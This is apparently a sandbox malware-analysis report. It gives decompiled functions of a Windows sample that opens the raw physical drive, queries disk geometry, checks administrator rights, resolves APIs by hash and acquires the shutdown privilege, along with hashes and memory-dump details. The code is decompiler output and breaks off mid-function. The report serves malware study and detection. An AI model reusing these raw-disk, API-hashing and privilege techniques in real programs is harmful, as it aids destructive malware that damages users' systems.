fileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E00408958(void* __eax, void* __ecx, void* __edx, void* __edi, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(__ebp);
				__ebp = __esp;
				__esp = __esp - 0x2c;
				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x0040895b
0x0040895c
0x0040895e
0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: 6179182b2b83b9443c5bd9d33f461fa1aeab268a59a3a7b7debce46551af33e6
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: AF216D38640348EFD718CF68ED45F99BBB4EB48701F10C1AAE905AB3E1D6B49B40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040895B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040895B(void* __ecx, void* __edx, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 711083b2bbb86b7d36e7a7c78397dedf6b4307ebbdc5261e1e4f3fe33cb2826c
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 6F215C38600308AFD718CF58DC46F99BBB4AB48701F10C0AAE905AB3E1D6B4AA40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408951 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00408951(void* __eax, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				char* _t24;
				char _t31;
				char _t32;
				char _t33;
				char _t39;
				char _t40;
				char _t41;
				void* _t46;

				 *__edx =  *__edx + __ecx;
				 *(_t46 - 4) = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				 *((intOrPtr*)(_t46 - 8)) = DeviceIoControl( *(_t46 - 4), 0x560000, 0, 0, _t46 - 0x2c, 0x20, _t46 - 0xc, 0);
				_t24 =  *(_t46 + 8);
				_t31 = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *_t24 = _t31;
				_t39 = M004133C4; // 0x53594850
				_t24[4] = _t39;
				_t32 = M004133C8; // 0x4c414349
				_t24[8] = _t32;
				_t40 = M004133CC; // 0x56495244
				_t24[0xc] = _t40;
				_t33 =  *0x4133d0; // 0x3045
				_t24[0x10] = _t33;
				_t41 =  *0x4133d2; // 0x0
				_t24[0x12] = _t41;
				if( *((intOrPtr*)(_t46 - 8)) != 0 &&  *(_t46 - 0x2c) != 0) {
					( *(_t46 + 8))[0x11] =  *((intOrPtr*)(_t46 + 0xffffffffffffffdc)) + 0x30;
				}
				return  *0x46d000( *(_t46 - 4));
			}

0x00408962
0x00408978
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 389e508c5a35674a8dec956cf5ed0ace9ff19c3110c7d277eeff61c57732489a
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 79216D78604348EFD708CF58E855BA9BBB4EB48711F10C1AAE905AB3E1D7B49B40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004082B6 Relevance: 4.5, APIs: 3, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E004082B6() {
				long _v8;
				void* _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				struct _SID_IDENTIFIER_AUTHORITY _v20;

				_v20.Value = 0;
				_v19 = 0;
				_v18 = 0;
				_v17 = 0;
				_v16 = 0;
				_v15 = 5;
				_v8 = 0;
				if(AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12) != 0) {
					_push( &_v8);
					_push(_v12);
					_push(0);
					if( *0x413014() == 0) {
						_v8 = 0;
					}
					FreeSid(_v12);
					return _v8;
				} else {
					return 0;
				}
				return _t16;
			}

0x004082bc
0x004082c0
0x004082c4
0x004082c8
0x004082cc
0x004082d0
0x004082d4
0x00408300
0x0040483e
0x00404842
0x00404843
0x0040484d
0x00404853
0x00404853
0x0040aa9c
0x00000000
0x00408306
0x00000000
0x00408306
0x00401be7

APIs

CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00404845
AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 004082F8
FreeSid.ADVAPI32(?), ref: 0040AA9C

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction ID: 1502378442f3bba6843c10e462c5ea7b9d530f023e777048d123248eda5abe90
Opcode Fuzzy Hash: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction Fuzzy Hash: C9014470A04348FAEB10DBE4C948BEEBFB8AB15705F008499E101BA1C1D3B89B04DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040803E Relevance: 2.5, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040803E(long _a4) {

				return HeapAlloc(GetProcessHeap(), 8, _a4);
			}

0x00408058

APIs

GetProcessHeap.KERNEL32 ref: 00408043
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 0040804F

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction ID: 26dd1f9777305501ff1cd5e9f76bd07b448e1de680a266f39bdfa576d74df3df
Opcode Fuzzy Hash: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction Fuzzy Hash: 24C08CB7048308BFEA009FE1FC0EEAB7FACE799722F00C02AF20040050DA72A1109778

Uniqueness

Uniqueness Score: -1.00%

Function 0040B453 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B453(intOrPtr __eax, void* __edi) {
				intOrPtr _t9;
				void* _t12;
				void* _t13;
				void* _t19;
				void* _t20;

				_t19 = __edi;
				_t9 = __eax;
				_t12 = 2;
				asm("loop 0x7f");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				do {
					_t13 = _t12 - 1;
					if(_t13 == 0) {
						do {
							 *((intOrPtr*)(_t20 - 4)) =  *((intOrPtr*)(_t20 - 4)) - 0x1000;
						} while ( *((char*)( *((intOrPtr*)(_t20 - 4)))) != 0x4d ||  *((char*)( *((intOrPtr*)(_t20 - 4)) + 1)) != 0x5a);
						_t9 =  *((intOrPtr*)(_t20 - 4));
						_t13 = 0x1000;
						goto L1;
					} else {
						_t9 = _t9 + 1;
						L1:
						goto L2;
					}
					L13:
					L2:
					_push(_t9);
					_t12 = _t13 + 1;
					_t19 = _t19 + 1;
					_t20 = _t20 + 1;
				} while (_t20 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0x59465256);
				return  *((intOrPtr*)(_t20 - 4));
				goto L13;
			}

0x0040b453
0x0040b453
0x0040b453
0x0040b455
0x0040b46d
0x0040b46f
0x0040b471
0x0040b473
0x0040b473
0x0040b477
0x0040dce8
0x0040dcf1
0x00408de6
0x00408dff
0x00408e02
0x00000000
0x0040b47d
0x0040b47d
0x00402320
0x00000000
0x00402320
0x00000000
0x00402322
0x00402322
0x00402323
0x00402324
0x00402325
0x00402325
0x0040e3ff
0x00000000

APIs

DeviceIoControl.KERNEL32(00000000,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction ID: 4278b43e27663415cba18f20cd4f792bdb1a65b806582fdca38cb5ba5a4c1545
Opcode Fuzzy Hash: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction Fuzzy Hash: 5D515B75A04244DFEB08CF98C590BAABBB2EF94304F2881E9D9015B387C675EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00407D21 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00407D21(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				long _v20;
				char _v280;
				intOrPtr* _t20;
				signed int _t25;
				void _t26;
				signed int _t30;
				signed int _t32;
				intOrPtr _t37;
				void* _t43;
				void* _t44;
				signed int _t48;
				signed int _t50;
				signed int _t54;
				void* _t58;

				_t58 = __esi;
				_t44 = __ecx;
				_t43 = __ebx;
				_v12 =  *[fs:0x30];
				_t45 = E00401B2C(_t44, GetCurrentProcess()) & 0x000000ff;
				 *0x46cfa0 = _t45;
				_t20 =  *((intOrPtr*)(_v12 + 0xa4));
				_v16 = _t20;
				if(_v16 == 5) {
					 *0x46c2f8 = E0040C33B(_t45, 1, 0x46c2fc);
					E0040895B(_t45,  &_v280,  &_v280);
					 *0x46d00c = CreateFileA( &_v280, 0xc0000000, 3, 0, 3, 0x30000080, 0);
					if( *0x46d00c != 0xffffffff) {
						_t25 = DeviceIoControl( *0x46d00c, 0x7405c, 0, 0, 0x46cb60, 8,  &_v20, 0);
						__eflags = _t25;
						if(_t25 != 0) {
							_t26 =  *0x46cb60; // 0x0
							_t54 =  *0x46cb64; // 0x0
							 *0x46cb68 = E0040572B(_t26, 9, _t54);
							 *0x46cb6c = _t54;
							E0040BDEA( *0x46d00c);
							_t30 = L00401314(_t43, _t54, _t58, 0x46c550);
							__eflags = _t30;
							if(_t30 != 0) {
								 *0x46cb70 = E0040D5C6();
								 *0x46cb74 = _t54;
								_t48 =  *0x46cb70; // 0x0
								__eflags = _t48 |  *0x46cb74;
								if(__eflags != 0) {
									L6:
									_t32 = E0040ACFC(__eflags);
									__eflags = _t32;
									if(_t32 != 0) {
										 *0x46d000( *0x46d00c);
										return 1;
									}
									return 0;
								}
								__eflags =  *((intOrPtr*)(_v12 + 0xa4)) - 5;
								if(__eflags != 0) {
									return 0;
								}
								_t37 =  *0x46cb68; // 0x0
								_t50 =  *0x46cb6c; // 0x0
								asm("sbb ecx, 0x0");
								 *0x46cb70 = _t37 - 0x800;
								 *0x46cb74 = _t50;
								goto L6;
							}
							return 0;
						}
						return 0;
					}
					return 0;
				} else {
				}
				 *__edi =  *__edi + _t45;
				 *_t20 =  *_t20 + _t20;
			}

0x00407d21
0x00407d21
0x00407d21
0x00407d30
0x00407d42
0x00407d45
0x00407d4e
0x00407d54
0x00407d5b
0x0040656b
0x00403079
0x004030a0
0x004030ac
0x0040882a
0x00408830
0x00408832
0x00409e38
0x00409e3d
0x00409e4a
0x00409e4f
0x00409e5b
0x00409e68
0x00409e70
0x00409e72
0x0040bce3
0x0040bce8
0x0040bcee
0x0040bcf4
0x0040bcfa
0x00403d94
0x00403d94
0x00403d99
0x00403d9b
0x0040c21a
0x00000000
0x0040c220
0x00000000
0x00403da1
0x0040bd03
0x0040bd0a
0x00000000
0x0040cbf2
0x0040bd10
0x0040bd1a
0x0040bd20
0x0040bd23
0x0040bd28
0x00000000
0x0040bd28
0x00000000
0x00409e78
0x00000000
0x00408838
0x00000000
0x00000000
0x00407d61
0x00402fcf
0x00402fd4

APIs

GetCurrentProcess.KERNEL32 ref: 00407D33

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: 5469e9984ee0613fe67692c8399fce14f271ad5feb70d4257aac3e9e61b94720
Instruction ID: 2d0ccdd24a91546423dca3ee3cf720458c613a0087a6006a7f2d7a66fbfa4b10
Opcode Fuzzy Hash: 5469e9984ee0613fe67692c8399fce14f271ad5feb70d4257aac3e9e61b94720
Instruction Fuzzy Hash: 4CF065B4D00348EFC704EFA599896ADBBB4AB04701F10857AE85277395E2BC5644CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00BCB433 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.472010459.0000000000BCB000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BCB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bcb000_B7BD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 7d4208458edc3db1cf9d89e38f3626e124fdca199fb87bdef6f665fe92006847
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9F113C72344100AFD758DF55DCD2FAA73EAEB89320B2981A9ED04CB316E779E841C760

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1F6 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 169
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D1F6() {
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t10;
				intOrPtr _t14;
				intOrPtr _t19;
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t83;

				 *0x46c530 = GetModuleHandleA("kernel32.dll");
				_t2 =  *0x46c530; // 0x74700000
				 *0x46cfcc = E0040C2B9(_t83, _t2, 0xcb2370a1);
				_t39 =  *0x46c530; // 0x74700000
				 *0x46d008 = E0040C2B9(_t83, _t39, 0xe5c5590f);
				_t48 =  *0x46c530; // 0x74700000
				 *0x46d004 = E0040C2B9(_t83, _t48, 0xd00ee561);
				_t6 =  *0x46c530; // 0x74700000
				 *0x46d000 = E0040C2B9(_t83, _t6, 0x55277bdf);
				_t40 =  *0x46c530; // 0x74700000
				 *0x46cfec = E0040C2B9(_t83, _t40, 0x45a95ed9);
				_t49 =  *0x46c530; // 0x74700000
				 *0x46cfe8 = E0040C2B9(_t83, _t49, 0x30b3f45c);
				_t10 =  *0x46c530; // 0x74700000
				 *0x46cfe4 = E0040C2B9(_t83, _t10, 0x3712cedd);
				_t41 =  *0x46c530; // 0x74700000
				 *0x46cfdc = E0040C2B9(_t83, _t41, 0x603a5cda);
				_t50 =  *0x46c530; // 0x74700000
				 *0x46cfd8 = E0040C2B9(_t83, _t50, 0xe212a177);
				_t14 =  *0x46c530; // 0x74700000
				 *0x46cff0 = E0040C2B9(_t83, _t14, 0x8f3ad528);
				_t42 =  *0x46c530; // 0x74700000
				 *0x46cfd4 = E0040C2B9(_t83, _t42, 0x58735ed4);
				_t51 =  *0x46c530; // 0x74700000
				 *0x46cfd0 = E0040C2B9(_t83, _t51, 0x37055488);
				 *0x46c52c = LoadLibraryA("advapi32.dll");
				_t19 =  *0x46c52c; // 0x76b10000
				 *0x46cffc = E0040C2B9(_t83, _t19, 0xf1b3fb9d);
				_t43 =  *0x46c52c; // 0x76b10000
				 *0x46cff8 = E0040C2B9(_t83, _t43, 0xa081a5bd);
				_t52 =  *0x46c52c; // 0x76b10000
				 *0x46cff4 = E0040C2B9(_t83, _t52, 0x51b83d3b);
				_t23 =  *0x46c530; // 0x74700000
				 *0x46cfe0 = E0040C2B9(_t83, _t23, 0xac75b4fd);
				 *0x46c528 = LoadLibraryA("ntdll.dll");
				_t44 =  *0x46c528; // 0x77d00000
				 *0x46cfc8 = E0040C2B9(_t83, _t44, 0xed6cabb3);
				_t53 =  *0x46c528; // 0x77d00000
				 *0x46cfc4 = E0040C2B9(_t83, _t53, 0x65ce569d);
				_t28 =  *0x46c528; // 0x77d00000
				 *0x46cfbc = E0040C2B9(_t83, _t28, 0x11b68aa8);
				_t45 =  *0x46c528; // 0x77d00000
				 *0x46cfb8 = E0040C2B9(_t83, _t45, 0x3b36e07a);
				_t54 =  *0x46c528; // 0x77d00000
				 *0x46cfb4 = E0040C2B9(_t83, _t54, 0x63a35b55);
				_t32 =  *0x46c528; // 0x77d00000
				 *0x46cfc0 = E0040C2B9(_t83, _t32, 0xfd3a0e6a);
				_t46 =  *0x46c528; // 0x77d00000
				 *0x46cfb0 = E0040C2B9(_t83, _t46, 0x2c434735);
				_t55 =  *0x46c528; // 0x77d00000
				 *0x46cfac = E0040C2B9(_t83, _t55, 0x18f25cd6);
				_t36 =  *0x46c528; // 0x77d00000
				 *0x46cfa8 = E0040C2B9(_t83, _t36, 0x7919b00);
				_t47 =  *0x46c528; // 0x77d00000
				_t38 = E0040C2B9(_t83, _t47, 0xb272ea3d);
				 *0x46cfa4 = _t38;
				return _t38;
			}

0x0040d204
0x0040d20e
0x0040d21c
0x0040d226
0x0040d235
0x0040d23f
0x0040d24e
0x0040d258
0x0040d266
0x0040d270
0x0040d27f
0x0040d289
0x0040d298
0x0040d2a2
0x0040d2b0
0x0040d2ba
0x0040d2c9
0x0040d2d3
0x0040d2e2
0x0040d2ec
0x0040d2fa
0x0040d304
0x0040d313
0x0040d31d
0x0040d32c
0x0040d33c
0x0040d346
0x0040d354
0x0040d35e
0x0040d36d
0x0040d377
0x0040d386
0x0040d390
0x0040d39e
0x0040d3ae
0x0040d3b8
0x0040d3c7
0x0040d3d1
0x0040d3e0
0x0040d3ea
0x0040d3f8
0x0040d402
0x0040d411
0x0040d41b
0x0040d42a
0x0040d434
0x0040d442
0x0040d44c
0x0040d45b
0x0040d465
0x0040d474
0x0040d47e
0x0040d48c
0x0040d496
0x0040d49d
0x0040d4a5
0x0040d4ab

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040AEB6,?,?,004046B5), ref: 0040D1FE
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0040D336
LoadLibraryA.KERNEL32(ntdll.dll), ref: 0040D3A8

Strings

ntdll.dll, xrefs: 0040D3A3
kernel32.dll, xrefs: 0040D1F9
advapi32.dll, xrefs: 0040D331

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: LibraryLoad$HandleModule
String ID: advapi32.dll$kernel32.dll$ntdll.dll
API String ID: 2593893887-1356967432
Opcode ID: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction ID: ca720bcfbdb204521244a6d16e88fbee784b87e4b750a5d7fd7297a05bd30f3d
Opcode Fuzzy Hash: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction Fuzzy Hash: DC511DF2D10210EFD304BFA1BCC28393AB5E649305744457FF985A72A1F6B9A9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 004023F2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82
libraryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E004023F2(void* __eflags) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v56;
				intOrPtr _t34;
				void* _t43;
				void* _t57;
				void* _t64;

				_t64 = __eflags;
				_v8 = 0;
				_v8 = LoadLibraryA("advapi32.dll");
				_v24 = E0040C2B9(_t64, _v8, 0xcb281c54);
				_v28 = E0040C2B9(_t64, _v8, 0x67340137);
				_v36 = E0040C2B9(_t64, _v8, 0x11143a65);
				_t34 =  *0x46c530; // 0x74700000
				_v20 = E0040C2B9(_t64, _t34, 0xb65a6df4);
				_push(_v20(0x28,  &_v32));
				if(_v24() == 0) {
					L4:
					return 0;
				}
				_v28(0, "SeShutdownPrivilege", _t57 + 0xffffffffffffffd0);
				_v56 = 1;
				 *((intOrPtr*)(_t57 + 0xffffffffffffffd8)) = 2;
				_t43 = _v36(_v32, 0,  &_v56, 0, 0,  &_v40);
				_t66 = _t43;
				if(_t43 == 0) {
					goto L4;
				}
				_v12 = 0;
				_v16 = 0;
				_v12 = LoadLibraryA("NTDLL.DLL");
